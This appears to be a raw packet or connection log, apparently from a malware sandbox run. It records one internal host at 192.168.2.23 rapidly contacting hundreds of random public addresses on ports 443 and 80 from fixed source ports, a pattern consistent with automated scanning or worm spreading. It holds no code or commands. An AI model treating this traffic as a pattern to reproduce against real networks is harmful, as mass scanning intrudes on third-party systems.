Mar 21, 2024 05:16:52.928525925 CET	19025	443	192.168.2.23	212.128.215.224
Mar 21, 2024 05:16:52.928534985 CET	19025	443	192.168.2.23	118.81.169.183
Mar 21, 2024 05:16:52.928536892 CET	19025	443	192.168.2.23	94.251.154.49
Mar 21, 2024 05:16:52.928553104 CET	19025	443	192.168.2.23	42.159.33.154
Mar 21, 2024 05:16:52.928555965 CET	19025	443	192.168.2.23	109.190.189.177
Mar 21, 2024 05:16:52.928563118 CET	443	19025	109.190.189.177	192.168.2.23
Mar 21, 2024 05:16:52.928567886 CET	19025	443	192.168.2.23	118.253.165.87
Mar 21, 2024 05:16:52.928574085 CET	19025	443	192.168.2.23	79.167.218.146
Mar 21, 2024 05:16:52.928574085 CET	443	19025	118.253.165.87	192.168.2.23
Mar 21, 2024 05:16:52.928575993 CET	19025	443	192.168.2.23	178.158.246.156
Mar 21, 2024 05:16:52.928577900 CET	19025	443	192.168.2.23	94.152.34.105
Mar 21, 2024 05:16:52.928580046 CET	443	19025	79.167.218.146	192.168.2.23
Mar 21, 2024 05:16:52.928580046 CET	19025	443	192.168.2.23	178.212.220.37
Mar 21, 2024 05:16:52.928580999 CET	443	19025	178.158.246.156	192.168.2.23
Mar 21, 2024 05:16:52.928582907 CET	443	19025	94.152.34.105	192.168.2.23
Mar 21, 2024 05:16:52.928587914 CET	443	19025	178.212.220.37	192.168.2.23
Mar 21, 2024 05:16:52.928597927 CET	19025	443	192.168.2.23	109.190.189.177
Mar 21, 2024 05:16:52.928603888 CET	19025	443	192.168.2.23	118.253.165.87
Mar 21, 2024 05:16:52.928607941 CET	19025	443	192.168.2.23	79.167.218.146
Mar 21, 2024 05:16:52.928610086 CET	19025	443	192.168.2.23	94.152.34.105
Mar 21, 2024 05:16:52.928621054 CET	19025	443	192.168.2.23	178.158.246.156
Mar 21, 2024 05:16:52.928622007 CET	19025	443	192.168.2.23	178.212.220.37
Mar 21, 2024 05:16:52.928634882 CET	19025	443	192.168.2.23	5.10.106.210
Mar 21, 2024 05:16:52.928643942 CET	443	19025	5.10.106.210	192.168.2.23
Mar 21, 2024 05:16:52.928672075 CET	19025	443	192.168.2.23	5.10.106.210
Mar 21, 2024 05:16:52.928781986 CET	19025	443	192.168.2.23	37.66.145.171
Mar 21, 2024 05:16:52.928785086 CET	19025	443	192.168.2.23	79.222.179.10
Mar 21, 2024 05:16:52.928787947 CET	443	19025	37.66.145.171	192.168.2.23
Mar 21, 2024 05:16:52.928790092 CET	443	19025	79.222.179.10	192.168.2.23
Mar 21, 2024 05:16:52.928797960 CET	19025	443	192.168.2.23	37.64.220.21
Mar 21, 2024 05:16:52.928797960 CET	19025	443	192.168.2.23	5.131.47.70
Mar 21, 2024 05:16:52.928797960 CET	19025	443	192.168.2.23	109.136.134.83
Mar 21, 2024 05:16:52.928807020 CET	443	19025	37.64.220.21	192.168.2.23
Mar 21, 2024 05:16:52.928814888 CET	443	19025	5.131.47.70	192.168.2.23
Mar 21, 2024 05:16:52.928816080 CET	19025	443	192.168.2.23	118.173.3.199
Mar 21, 2024 05:16:52.928822041 CET	443	19025	109.136.134.83	192.168.2.23
Mar 21, 2024 05:16:52.928822994 CET	19025	443	192.168.2.23	37.66.145.171
Mar 21, 2024 05:16:52.928823948 CET	443	19025	118.173.3.199	192.168.2.23
Mar 21, 2024 05:16:52.928833008 CET	19025	443	192.168.2.23	210.194.133.87
Mar 21, 2024 05:16:52.928833008 CET	19025	443	192.168.2.23	37.64.220.21
Mar 21, 2024 05:16:52.928834915 CET	19025	443	192.168.2.23	79.222.179.10
Mar 21, 2024 05:16:52.928838968 CET	443	19025	210.194.133.87	192.168.2.23
Mar 21, 2024 05:16:52.928850889 CET	19025	443	192.168.2.23	5.131.47.70
Mar 21, 2024 05:16:52.928850889 CET	19025	443	192.168.2.23	109.136.134.83
Mar 21, 2024 05:16:52.928863049 CET	19025	443	192.168.2.23	42.75.208.158
Mar 21, 2024 05:16:52.928863049 CET	19025	443	192.168.2.23	118.173.3.199
Mar 21, 2024 05:16:52.928870916 CET	443	19025	42.75.208.158	192.168.2.23
Mar 21, 2024 05:16:52.928873062 CET	19025	443	192.168.2.23	210.194.133.87
Mar 21, 2024 05:16:52.928879976 CET	19025	443	192.168.2.23	79.175.54.37
Mar 21, 2024 05:16:52.928881884 CET	19025	443	192.168.2.23	118.179.8.210
Mar 21, 2024 05:16:52.928884029 CET	19025	443	192.168.2.23	37.210.190.169
Mar 21, 2024 05:16:52.928881884 CET	19025	443	192.168.2.23	109.76.38.224
Mar 21, 2024 05:16:52.928886890 CET	19025	443	192.168.2.23	37.72.127.217
Mar 21, 2024 05:16:52.928881884 CET	19025	443	192.168.2.23	210.131.252.153
Mar 21, 2024 05:16:52.928888083 CET	443	19025	79.175.54.37	192.168.2.23
Mar 21, 2024 05:16:52.928884029 CET	19025	443	192.168.2.23	178.250.62.3
Mar 21, 2024 05:16:52.928895950 CET	19025	443	192.168.2.23	42.78.174.199
Mar 21, 2024 05:16:52.928896904 CET	443	19025	37.210.190.169	192.168.2.23
Mar 21, 2024 05:16:52.928898096 CET	443	19025	37.72.127.217	192.168.2.23
Mar 21, 2024 05:16:52.928901911 CET	443	19025	118.179.8.210	192.168.2.23
Mar 21, 2024 05:16:52.928905010 CET	443	19025	42.78.174.199	192.168.2.23
Mar 21, 2024 05:16:52.928906918 CET	443	19025	178.250.62.3	192.168.2.23
Mar 21, 2024 05:16:52.928910017 CET	443	19025	109.76.38.224	192.168.2.23
Mar 21, 2024 05:16:52.928911924 CET	19025	443	192.168.2.23	42.75.208.158
Mar 21, 2024 05:16:52.928914070 CET	443	19025	210.131.252.153	192.168.2.23
Mar 21, 2024 05:16:52.928920031 CET	19025	443	192.168.2.23	79.175.54.37
Mar 21, 2024 05:16:52.928920031 CET	19025	443	192.168.2.23	37.210.190.169
Mar 21, 2024 05:16:52.928921938 CET	19025	443	192.168.2.23	109.77.67.113
Mar 21, 2024 05:16:52.928927898 CET	19025	443	192.168.2.23	42.78.174.199
Mar 21, 2024 05:16:52.928929090 CET	443	19025	109.77.67.113	192.168.2.23
Mar 21, 2024 05:16:52.928936958 CET	19025	443	192.168.2.23	178.250.62.3
Mar 21, 2024 05:16:52.928936958 CET	19025	443	192.168.2.23	118.179.8.210
Mar 21, 2024 05:16:52.928936958 CET	19025	443	192.168.2.23	109.76.38.224
Mar 21, 2024 05:16:52.928936958 CET	19025	443	192.168.2.23	210.131.252.153
Mar 21, 2024 05:16:52.928940058 CET	19025	443	192.168.2.23	37.72.127.217
Mar 21, 2024 05:16:52.928961992 CET	19025	443	192.168.2.23	109.77.67.113
Mar 21, 2024 05:16:52.928980112 CET	19025	443	192.168.2.23	109.9.176.14
Mar 21, 2024 05:16:52.928981066 CET	19025	443	192.168.2.23	210.198.154.11
Mar 21, 2024 05:16:52.928986073 CET	443	19025	210.198.154.11	192.168.2.23
Mar 21, 2024 05:16:52.928986073 CET	443	19025	109.9.176.14	192.168.2.23
Mar 21, 2024 05:16:52.928992987 CET	19025	443	192.168.2.23	94.206.138.127
Mar 21, 2024 05:16:52.928998947 CET	443	19025	94.206.138.127	192.168.2.23
Mar 21, 2024 05:16:52.928998947 CET	19025	443	192.168.2.23	178.180.177.157
Mar 21, 2024 05:16:52.929004908 CET	443	19025	178.180.177.157	192.168.2.23
Mar 21, 2024 05:16:52.929011106 CET	19025	443	192.168.2.23	118.187.164.254
Mar 21, 2024 05:16:52.929017067 CET	19025	443	192.168.2.23	109.9.176.14
Mar 21, 2024 05:16:52.929017067 CET	443	19025	118.187.164.254	192.168.2.23
Mar 21, 2024 05:16:52.929027081 CET	19025	443	192.168.2.23	210.198.154.11
Mar 21, 2024 05:16:52.929029942 CET	19025	443	192.168.2.23	94.206.138.127
Mar 21, 2024 05:16:52.929030895 CET	19025	443	192.168.2.23	178.180.177.157
Mar 21, 2024 05:16:52.929052114 CET	19025	443	192.168.2.23	118.187.164.254
Mar 21, 2024 05:16:52.929054022 CET	19025	443	192.168.2.23	212.28.176.243
Mar 21, 2024 05:16:52.929060936 CET	443	19025	212.28.176.243	192.168.2.23
Mar 21, 2024 05:16:52.929069042 CET	19025	443	192.168.2.23	118.171.162.117
Mar 21, 2024 05:16:52.929069042 CET	19025	443	192.168.2.23	94.229.112.77
Mar 21, 2024 05:16:52.929075003 CET	443	19025	118.171.162.117	192.168.2.23
Mar 21, 2024 05:16:52.929083109 CET	443	19025	94.229.112.77	192.168.2.23
Mar 21, 2024 05:16:52.929083109 CET	19025	443	192.168.2.23	79.233.33.138
Mar 21, 2024 05:16:52.929095984 CET	443	19025	79.233.33.138	192.168.2.23
Mar 21, 2024 05:16:52.929104090 CET	19025	443	192.168.2.23	178.80.245.200
Mar 21, 2024 05:16:52.929106951 CET	19025	443	192.168.2.23	212.28.176.243
Mar 21, 2024 05:16:52.929106951 CET	19025	443	192.168.2.23	118.171.162.117
Mar 21, 2024 05:16:52.929106951 CET	19025	443	192.168.2.23	94.229.112.77
Mar 21, 2024 05:16:52.929110050 CET	443	19025	178.80.245.200	192.168.2.23
Mar 21, 2024 05:16:52.929112911 CET	19025	443	192.168.2.23	42.5.250.120
Mar 21, 2024 05:16:52.929117918 CET	443	19025	42.5.250.120	192.168.2.23
Mar 21, 2024 05:16:52.929131985 CET	19025	443	192.168.2.23	79.233.33.138
Mar 21, 2024 05:16:52.929132938 CET	19025	443	192.168.2.23	178.131.218.44
Mar 21, 2024 05:16:52.929138899 CET	443	19025	178.131.218.44	192.168.2.23
Mar 21, 2024 05:16:52.929148912 CET	19025	443	192.168.2.23	42.5.250.120
Mar 21, 2024 05:16:52.929156065 CET	19025	443	192.168.2.23	178.80.245.200
Mar 21, 2024 05:16:52.929157019 CET	19025	443	192.168.2.23	109.101.173.243
Mar 21, 2024 05:16:52.929162979 CET	443	19025	109.101.173.243	192.168.2.23
Mar 21, 2024 05:16:52.929171085 CET	19025	443	192.168.2.23	178.131.218.44
Mar 21, 2024 05:16:52.929192066 CET	19025	443	192.168.2.23	118.236.162.109
Mar 21, 2024 05:16:52.929193020 CET	19025	443	192.168.2.23	118.69.69.27
Mar 21, 2024 05:16:52.929193020 CET	19025	443	192.168.2.23	109.101.173.243
Mar 21, 2024 05:16:52.929198980 CET	443	19025	118.236.162.109	192.168.2.23
Mar 21, 2024 05:16:52.929199934 CET	443	19025	118.69.69.27	192.168.2.23
Mar 21, 2024 05:16:52.929219007 CET	19025	443	192.168.2.23	79.58.157.122
Mar 21, 2024 05:16:52.929224968 CET	443	19025	79.58.157.122	192.168.2.23
Mar 21, 2024 05:16:52.929225922 CET	19025	443	192.168.2.23	109.179.193.0
Mar 21, 2024 05:16:52.929229975 CET	19025	443	192.168.2.23	118.236.162.109
Mar 21, 2024 05:16:52.929231882 CET	443	19025	109.179.193.0	192.168.2.23
Mar 21, 2024 05:16:52.929234028 CET	19025	443	192.168.2.23	118.69.69.27
Mar 21, 2024 05:16:52.929240942 CET	19025	443	192.168.2.23	94.47.132.216
Mar 21, 2024 05:16:52.929243088 CET	19025	443	192.168.2.23	42.148.10.66
Mar 21, 2024 05:16:52.929244995 CET	443	19025	94.47.132.216	192.168.2.23
Mar 21, 2024 05:16:52.929248095 CET	443	19025	42.148.10.66	192.168.2.23
Mar 21, 2024 05:16:52.929255962 CET	19025	443	192.168.2.23	79.58.157.122
Mar 21, 2024 05:16:52.929258108 CET	19025	443	192.168.2.23	109.179.193.0
Mar 21, 2024 05:16:52.929274082 CET	19025	443	192.168.2.23	94.47.132.216
Mar 21, 2024 05:16:52.929275990 CET	19025	443	192.168.2.23	42.148.10.66
Mar 21, 2024 05:16:52.929291964 CET	19025	443	192.168.2.23	178.89.134.38
Mar 21, 2024 05:16:52.929296017 CET	19025	443	192.168.2.23	37.28.34.179
Mar 21, 2024 05:16:52.929296970 CET	443	19025	178.89.134.38	192.168.2.23
Mar 21, 2024 05:16:52.929303885 CET	443	19025	37.28.34.179	192.168.2.23
Mar 21, 2024 05:16:52.929305077 CET	19025	443	192.168.2.23	37.87.182.68
Mar 21, 2024 05:16:52.929310083 CET	443	19025	37.87.182.68	192.168.2.23
Mar 21, 2024 05:16:52.929317951 CET	19025	443	192.168.2.23	2.150.108.135
Mar 21, 2024 05:16:52.929322958 CET	19025	443	192.168.2.23	178.89.134.38
Mar 21, 2024 05:16:52.929325104 CET	443	19025	2.150.108.135	192.168.2.23
Mar 21, 2024 05:16:52.929331064 CET	19025	443	192.168.2.23	37.87.182.68
Mar 21, 2024 05:16:52.929332972 CET	19025	443	192.168.2.23	37.28.34.179
Mar 21, 2024 05:16:52.929343939 CET	19025	443	192.168.2.23	94.129.128.252
Mar 21, 2024 05:16:52.929349899 CET	443	19025	94.129.128.252	192.168.2.23
Mar 21, 2024 05:16:52.929349899 CET	19025	443	192.168.2.23	42.62.152.96
Mar 21, 2024 05:16:52.929362059 CET	443	19025	42.62.152.96	192.168.2.23
Mar 21, 2024 05:16:52.929366112 CET	19025	443	192.168.2.23	2.150.108.135
Mar 21, 2024 05:16:52.929373026 CET	19025	443	192.168.2.23	94.129.128.252
Mar 21, 2024 05:16:52.929373026 CET	19025	443	192.168.2.23	94.145.144.253
Mar 21, 2024 05:16:52.929378986 CET	443	19025	94.145.144.253	192.168.2.23
Mar 21, 2024 05:16:52.929394007 CET	19025	443	192.168.2.23	42.62.152.96
Mar 21, 2024 05:16:52.929397106 CET	19025	443	192.168.2.23	210.166.189.250
Mar 21, 2024 05:16:52.929402113 CET	443	19025	210.166.189.250	192.168.2.23
Mar 21, 2024 05:16:52.929413080 CET	19025	443	192.168.2.23	94.145.144.253
Mar 21, 2024 05:16:52.929421902 CET	19025	443	192.168.2.23	178.115.178.7
Mar 21, 2024 05:16:52.929429054 CET	443	19025	178.115.178.7	192.168.2.23
Mar 21, 2024 05:16:52.929435015 CET	19025	443	192.168.2.23	210.166.189.250
Mar 21, 2024 05:16:52.929441929 CET	19025	443	192.168.2.23	42.181.116.67
Mar 21, 2024 05:16:52.929446936 CET	443	19025	42.181.116.67	192.168.2.23
Mar 21, 2024 05:16:52.929456949 CET	19025	443	192.168.2.23	178.115.178.7
Mar 21, 2024 05:16:52.929478884 CET	19025	443	192.168.2.23	178.36.18.54
Mar 21, 2024 05:16:52.929483891 CET	443	19025	178.36.18.54	192.168.2.23
Mar 21, 2024 05:16:52.929485083 CET	19025	443	192.168.2.23	42.181.116.67
Mar 21, 2024 05:16:52.929487944 CET	19025	443	192.168.2.23	118.68.71.254
Mar 21, 2024 05:16:52.929493904 CET	443	19025	118.68.71.254	192.168.2.23
Mar 21, 2024 05:16:52.929493904 CET	19025	443	192.168.2.23	210.219.246.181
Mar 21, 2024 05:16:52.929501057 CET	443	19025	210.219.246.181	192.168.2.23
Mar 21, 2024 05:16:52.929501057 CET	19025	443	192.168.2.23	2.26.108.138
Mar 21, 2024 05:16:52.929501057 CET	19025	443	192.168.2.23	37.74.85.182
Mar 21, 2024 05:16:52.929508924 CET	443	19025	2.26.108.138	192.168.2.23
Mar 21, 2024 05:16:52.929517031 CET	443	19025	37.74.85.182	192.168.2.23
Mar 21, 2024 05:16:52.929522991 CET	19025	443	192.168.2.23	118.68.71.254
Mar 21, 2024 05:16:52.929523945 CET	19025	443	192.168.2.23	178.36.18.54
Mar 21, 2024 05:16:52.929532051 CET	19025	443	192.168.2.23	210.219.246.181
Mar 21, 2024 05:16:52.929538965 CET	19025	443	192.168.2.23	2.26.108.138
Mar 21, 2024 05:16:52.929544926 CET	19025	443	192.168.2.23	37.74.85.182
Mar 21, 2024 05:16:52.929557085 CET	19025	443	192.168.2.23	79.119.255.101
Mar 21, 2024 05:16:52.929559946 CET	19025	443	192.168.2.23	79.49.165.52
Mar 21, 2024 05:16:52.929563999 CET	443	19025	79.119.255.101	192.168.2.23
Mar 21, 2024 05:16:52.929569006 CET	443	19025	79.49.165.52	192.168.2.23
Mar 21, 2024 05:16:52.929583073 CET	19025	443	192.168.2.23	42.7.83.99
Mar 21, 2024 05:16:52.929589033 CET	443	19025	42.7.83.99	192.168.2.23
Mar 21, 2024 05:16:52.929591894 CET	19025	443	192.168.2.23	79.49.165.52
Mar 21, 2024 05:16:52.929593086 CET	19025	443	192.168.2.23	79.119.255.101
Mar 21, 2024 05:16:52.929611921 CET	19025	443	192.168.2.23	5.226.142.160
Mar 21, 2024 05:16:52.929615021 CET	19025	443	192.168.2.23	42.7.83.99
Mar 21, 2024 05:16:52.929619074 CET	443	19025	5.226.142.160	192.168.2.23
Mar 21, 2024 05:16:52.929650068 CET	19025	443	192.168.2.23	5.226.142.160
Mar 21, 2024 05:16:52.929969072 CET	58024	443	192.168.2.23	178.60.216.50
Mar 21, 2024 05:16:52.929976940 CET	443	58024	178.60.216.50	192.168.2.23
Mar 21, 2024 05:16:52.930016041 CET	58024	443	192.168.2.23	178.60.216.50
Mar 21, 2024 05:16:52.930157900 CET	37406	443	192.168.2.23	178.95.43.75
Mar 21, 2024 05:16:52.930166006 CET	443	37406	178.95.43.75	192.168.2.23
Mar 21, 2024 05:16:52.930170059 CET	57030	443	192.168.2.23	79.101.96.50
Mar 21, 2024 05:16:52.930176973 CET	443	57030	79.101.96.50	192.168.2.23
Mar 21, 2024 05:16:52.930186033 CET	38418	443	192.168.2.23	212.141.129.148
Mar 21, 2024 05:16:52.930193901 CET	443	38418	212.141.129.148	192.168.2.23
Mar 21, 2024 05:16:52.930207968 CET	37406	443	192.168.2.23	178.95.43.75
Mar 21, 2024 05:16:52.930227041 CET	57030	443	192.168.2.23	79.101.96.50
Mar 21, 2024 05:16:52.930229902 CET	38418	443	192.168.2.23	212.141.129.148
Mar 21, 2024 05:16:52.930288076 CET	58570	443	192.168.2.23	109.235.248.15
Mar 21, 2024 05:16:52.930294991 CET	443	58570	109.235.248.15	192.168.2.23
Mar 21, 2024 05:16:52.930301905 CET	54474	443	192.168.2.23	212.97.79.18
Mar 21, 2024 05:16:52.930313110 CET	443	54474	212.97.79.18	192.168.2.23
Mar 21, 2024 05:16:52.930318117 CET	37452	443	192.168.2.23	5.206.86.205
Mar 21, 2024 05:16:52.930325985 CET	58570	443	192.168.2.23	109.235.248.15
Mar 21, 2024 05:16:52.930329084 CET	43538	443	192.168.2.23	178.255.144.242
Mar 21, 2024 05:16:52.930330038 CET	443	37452	5.206.86.205	192.168.2.23
Mar 21, 2024 05:16:52.930336952 CET	443	43538	178.255.144.242	192.168.2.23
Mar 21, 2024 05:16:52.930347919 CET	54474	443	192.168.2.23	212.97.79.18
Mar 21, 2024 05:16:52.930361986 CET	43538	443	192.168.2.23	178.255.144.242
Mar 21, 2024 05:16:52.930362940 CET	37452	443	192.168.2.23	5.206.86.205
Mar 21, 2024 05:16:52.930377960 CET	52592	443	192.168.2.23	42.6.245.88
Mar 21, 2024 05:16:52.930382967 CET	443	52592	42.6.245.88	192.168.2.23
Mar 21, 2024 05:16:52.930392981 CET	50704	443	192.168.2.23	94.15.29.211
Mar 21, 2024 05:16:52.930398941 CET	443	50704	94.15.29.211	192.168.2.23
Mar 21, 2024 05:16:52.930418015 CET	52592	443	192.168.2.23	42.6.245.88
Mar 21, 2024 05:16:52.930434942 CET	50704	443	192.168.2.23	94.15.29.211
Mar 21, 2024 05:16:52.930457115 CET	49164	443	192.168.2.23	118.25.21.80
Mar 21, 2024 05:16:52.930465937 CET	443	49164	118.25.21.80	192.168.2.23
Mar 21, 2024 05:16:52.930473089 CET	33084	443	192.168.2.23	2.203.1.102
Mar 21, 2024 05:16:52.930481911 CET	443	33084	2.203.1.102	192.168.2.23
Mar 21, 2024 05:16:52.930485010 CET	41032	443	192.168.2.23	210.219.15.73
Mar 21, 2024 05:16:52.930490017 CET	443	41032	210.219.15.73	192.168.2.23
Mar 21, 2024 05:16:52.930501938 CET	49164	443	192.168.2.23	118.25.21.80
Mar 21, 2024 05:16:52.930516005 CET	41032	443	192.168.2.23	210.219.15.73
Mar 21, 2024 05:16:52.930517912 CET	33084	443	192.168.2.23	2.203.1.102
Mar 21, 2024 05:16:52.930552959 CET	33502	443	192.168.2.23	5.100.48.68
Mar 21, 2024 05:16:52.930560112 CET	443	33502	5.100.48.68	192.168.2.23
Mar 21, 2024 05:16:52.930577993 CET	33366	443	192.168.2.23	94.23.146.185
Mar 21, 2024 05:16:52.930588007 CET	443	33366	94.23.146.185	192.168.2.23
Mar 21, 2024 05:16:52.930594921 CET	33502	443	192.168.2.23	5.100.48.68
Mar 21, 2024 05:16:52.930607080 CET	33540	443	192.168.2.23	109.69.210.27
Mar 21, 2024 05:16:52.930613995 CET	443	33540	109.69.210.27	192.168.2.23
Mar 21, 2024 05:16:52.930619001 CET	33366	443	192.168.2.23	94.23.146.185
Mar 21, 2024 05:16:52.930643082 CET	59906	443	192.168.2.23	118.60.235.95
Mar 21, 2024 05:16:52.930645943 CET	33540	443	192.168.2.23	109.69.210.27
Mar 21, 2024 05:16:52.930649996 CET	443	59906	118.60.235.95	192.168.2.23
Mar 21, 2024 05:16:52.930660009 CET	58322	443	192.168.2.23	42.203.186.107
Mar 21, 2024 05:16:52.930665970 CET	443	58322	42.203.186.107	192.168.2.23
Mar 21, 2024 05:16:52.930670977 CET	35996	443	192.168.2.23	37.142.84.100
Mar 21, 2024 05:16:52.930680990 CET	443	35996	37.142.84.100	192.168.2.23
Mar 21, 2024 05:16:52.930689096 CET	59906	443	192.168.2.23	118.60.235.95
Mar 21, 2024 05:16:52.930700064 CET	58322	443	192.168.2.23	42.203.186.107
Mar 21, 2024 05:16:52.930712938 CET	35996	443	192.168.2.23	37.142.84.100
Mar 21, 2024 05:16:52.930713892 CET	34288	443	192.168.2.23	42.71.107.160
Mar 21, 2024 05:16:52.930721045 CET	443	34288	42.71.107.160	192.168.2.23
Mar 21, 2024 05:16:52.930736065 CET	52984	443	192.168.2.23	178.12.219.247
Mar 21, 2024 05:16:52.930741072 CET	443	52984	178.12.219.247	192.168.2.23
Mar 21, 2024 05:16:52.930747986 CET	34288	443	192.168.2.23	42.71.107.160
Mar 21, 2024 05:16:52.930774927 CET	52984	443	192.168.2.23	178.12.219.247
Mar 21, 2024 05:16:52.930788994 CET	46218	443	192.168.2.23	210.144.158.193
Mar 21, 2024 05:16:52.930794954 CET	443	46218	210.144.158.193	192.168.2.23
Mar 21, 2024 05:16:52.930808067 CET	45526	443	192.168.2.23	79.63.196.53
Mar 21, 2024 05:16:52.930815935 CET	443	45526	79.63.196.53	192.168.2.23
Mar 21, 2024 05:16:52.930826902 CET	46218	443	192.168.2.23	210.144.158.193
Mar 21, 2024 05:16:52.930845022 CET	50226	443	192.168.2.23	118.114.153.179
Mar 21, 2024 05:16:52.930850029 CET	45526	443	192.168.2.23	79.63.196.53
Mar 21, 2024 05:16:52.930850029 CET	443	50226	118.114.153.179	192.168.2.23
Mar 21, 2024 05:16:52.930871964 CET	56506	443	192.168.2.23	42.79.83.131
Mar 21, 2024 05:16:52.930877924 CET	443	56506	42.79.83.131	192.168.2.23
Mar 21, 2024 05:16:52.930882931 CET	50226	443	192.168.2.23	118.114.153.179
Mar 21, 2024 05:16:52.930902004 CET	51128	443	192.168.2.23	79.118.180.164
Mar 21, 2024 05:16:52.930907965 CET	443	51128	79.118.180.164	192.168.2.23
Mar 21, 2024 05:16:52.930910110 CET	56506	443	192.168.2.23	42.79.83.131
Mar 21, 2024 05:16:52.930922031 CET	37950	443	192.168.2.23	5.224.158.230
Mar 21, 2024 05:16:52.930922985 CET	19030	80	192.168.2.23	250.4.216.50
Mar 21, 2024 05:16:52.930928946 CET	443	37950	5.224.158.230	192.168.2.23
Mar 21, 2024 05:16:52.930943012 CET	51128	443	192.168.2.23	79.118.180.164
Mar 21, 2024 05:16:52.930955887 CET	37950	443	192.168.2.23	5.224.158.230
Mar 21, 2024 05:16:52.930973053 CET	37358	443	192.168.2.23	2.84.174.229
Mar 21, 2024 05:16:52.930979967 CET	443	37358	2.84.174.229	192.168.2.23
Mar 21, 2024 05:16:52.930985928 CET	45336	443	192.168.2.23	79.53.254.71
Mar 21, 2024 05:16:52.930986881 CET	19030	80	192.168.2.23	70.36.55.14
Mar 21, 2024 05:16:52.930990934 CET	19030	80	192.168.2.23	241.93.96.50
Mar 21, 2024 05:16:52.930994034 CET	443	45336	79.53.254.71	192.168.2.23
Mar 21, 2024 05:16:52.930998087 CET	19030	80	192.168.2.23	143.117.64.149
Mar 21, 2024 05:16:52.931001902 CET	19030	80	192.168.2.23	200.102.235.74
Mar 21, 2024 05:16:52.931004047 CET	19030	80	192.168.2.23	40.223.218.95
Mar 21, 2024 05:16:52.931005001 CET	19030	80	192.168.2.23	87.71.59.41
Mar 21, 2024 05:16:52.931010962 CET	37358	443	192.168.2.23	2.84.174.229
Mar 21, 2024 05:16:52.931018114 CET	19030	80	192.168.2.23	55.246.220.142
Mar 21, 2024 05:16:52.931018114 CET	19030	80	192.168.2.23	180.143.84.207
Mar 21, 2024 05:16:52.931029081 CET	19030	80	192.168.2.23	43.165.192.19
Mar 21, 2024 05:16:52.931035042 CET	45336	443	192.168.2.23	79.53.254.71
Mar 21, 2024 05:16:52.931072950 CET	19030	80	192.168.2.23	48.149.166.2
Mar 21, 2024 05:16:52.931072950 CET	19030	80	192.168.2.23	29.12.154.231
Mar 21, 2024 05:16:52.931073904 CET	19030	80	192.168.2.23	145.148.15.70
Mar 21, 2024 05:16:52.931073904 CET	19030	80	192.168.2.23	219.44.61.170
Mar 21, 2024 05:16:52.931073904 CET	19030	80	192.168.2.23	50.204.178.63
Mar 21, 2024 05:16:52.931073904 CET	58182	443	192.168.2.23	79.133.91.249
Mar 21, 2024 05:16:52.931075096 CET	42742	443	192.168.2.23	79.71.159.41
Mar 21, 2024 05:16:52.931075096 CET	19030	80	192.168.2.23	77.225.56.80
Mar 21, 2024 05:16:52.931075096 CET	19030	80	192.168.2.23	245.175.164.112
Mar 21, 2024 05:16:52.931075096 CET	19030	80	192.168.2.23	144.189.60.47
Mar 21, 2024 05:16:52.931073904 CET	19030	80	192.168.2.23	49.189.163.68
Mar 21, 2024 05:16:52.931083918 CET	19030	80	192.168.2.23	65.72.198.202
Mar 21, 2024 05:16:52.931083918 CET	19030	80	192.168.2.23	244.33.68.132
Mar 21, 2024 05:16:52.931083918 CET	19030	80	192.168.2.23	249.224.1.52
Mar 21, 2024 05:16:52.931087017 CET	443	58182	79.133.91.249	192.168.2.23
Mar 21, 2024 05:16:52.931088924 CET	443	42742	79.71.159.41	192.168.2.23
Mar 21, 2024 05:16:52.931098938 CET	60336	443	192.168.2.23	94.131.141.147
Mar 21, 2024 05:16:52.931098938 CET	19030	80	192.168.2.23	172.170.41.73
Mar 21, 2024 05:16:52.931098938 CET	19030	80	192.168.2.23	108.103.162.217
Mar 21, 2024 05:16:52.931099892 CET	46884	443	192.168.2.23	79.9.91.213
Mar 21, 2024 05:16:52.931099892 CET	57514	443	192.168.2.23	5.231.178.92
Mar 21, 2024 05:16:52.931099892 CET	19030	80	192.168.2.23	98.216.118.226
Mar 21, 2024 05:16:52.931101084 CET	19030	80	192.168.2.23	217.76.130.71
Mar 21, 2024 05:16:52.931102991 CET	19030	80	192.168.2.23	49.30.85.134
Mar 21, 2024 05:16:52.931102991 CET	19030	80	192.168.2.23	105.114.88.239
Mar 21, 2024 05:16:52.931102991 CET	19030	80	192.168.2.23	47.147.46.49
Mar 21, 2024 05:16:52.931103945 CET	19030	80	192.168.2.23	44.49.120.78
Mar 21, 2024 05:16:52.931107998 CET	19030	80	192.168.2.23	131.27.3.24
Mar 21, 2024 05:16:52.931112051 CET	443	46884	79.9.91.213	192.168.2.23
Mar 21, 2024 05:16:52.931113005 CET	443	60336	94.131.141.147	192.168.2.23
Mar 21, 2024 05:16:52.931113958 CET	42742	443	192.168.2.23	79.71.159.41
Mar 21, 2024 05:16:52.931113958 CET	19030	80	192.168.2.23	189.76.92.188
Mar 21, 2024 05:16:52.931113958 CET	19030	80	192.168.2.23	46.116.218.69
Mar 21, 2024 05:16:52.931116104 CET	19030	80	192.168.2.23	157.69.172.17
Mar 21, 2024 05:16:52.931116104 CET	58182	443	192.168.2.23	79.133.91.249
Mar 21, 2024 05:16:52.931121111 CET	443	57514	5.231.178.92	192.168.2.23
Mar 21, 2024 05:16:52.931127071 CET	19030	80	192.168.2.23	80.54.203.107
Mar 21, 2024 05:16:52.931128025 CET	53426	443	192.168.2.23	94.213.53.190
Mar 21, 2024 05:16:52.931127071 CET	19030	80	192.168.2.23	108.43.101.175
Mar 21, 2024 05:16:52.931133986 CET	443	53426	94.213.53.190	192.168.2.23
Mar 21, 2024 05:16:52.931145906 CET	54168	443	192.168.2.23	37.108.231.27
Mar 21, 2024 05:16:52.931150913 CET	443	54168	37.108.231.27	192.168.2.23
Mar 21, 2024 05:16:52.931150913 CET	46884	443	192.168.2.23	79.9.91.213
Mar 21, 2024 05:16:52.931150913 CET	57514	443	192.168.2.23	5.231.178.92
Mar 21, 2024 05:16:52.931153059 CET	49076	443	192.168.2.23	94.175.76.142
Mar 21, 2024 05:16:52.931158066 CET	60336	443	192.168.2.23	94.131.141.147
Mar 21, 2024 05:16:52.931159973 CET	443	49076	94.175.76.142	192.168.2.23
Mar 21, 2024 05:16:52.931162119 CET	53426	443	192.168.2.23	94.213.53.190
Mar 21, 2024 05:16:52.931176901 CET	54168	443	192.168.2.23	37.108.231.27
Mar 21, 2024 05:16:52.931184053 CET	49076	443	192.168.2.23	94.175.76.142
Mar 21, 2024 05:16:52.931205988 CET	19030	80	192.168.2.23	76.52.18.14
Mar 21, 2024 05:16:52.931207895 CET	19030	80	192.168.2.23	199.249.239.106
Mar 21, 2024 05:16:52.931215048 CET	58418	443	192.168.2.23	2.138.242.102
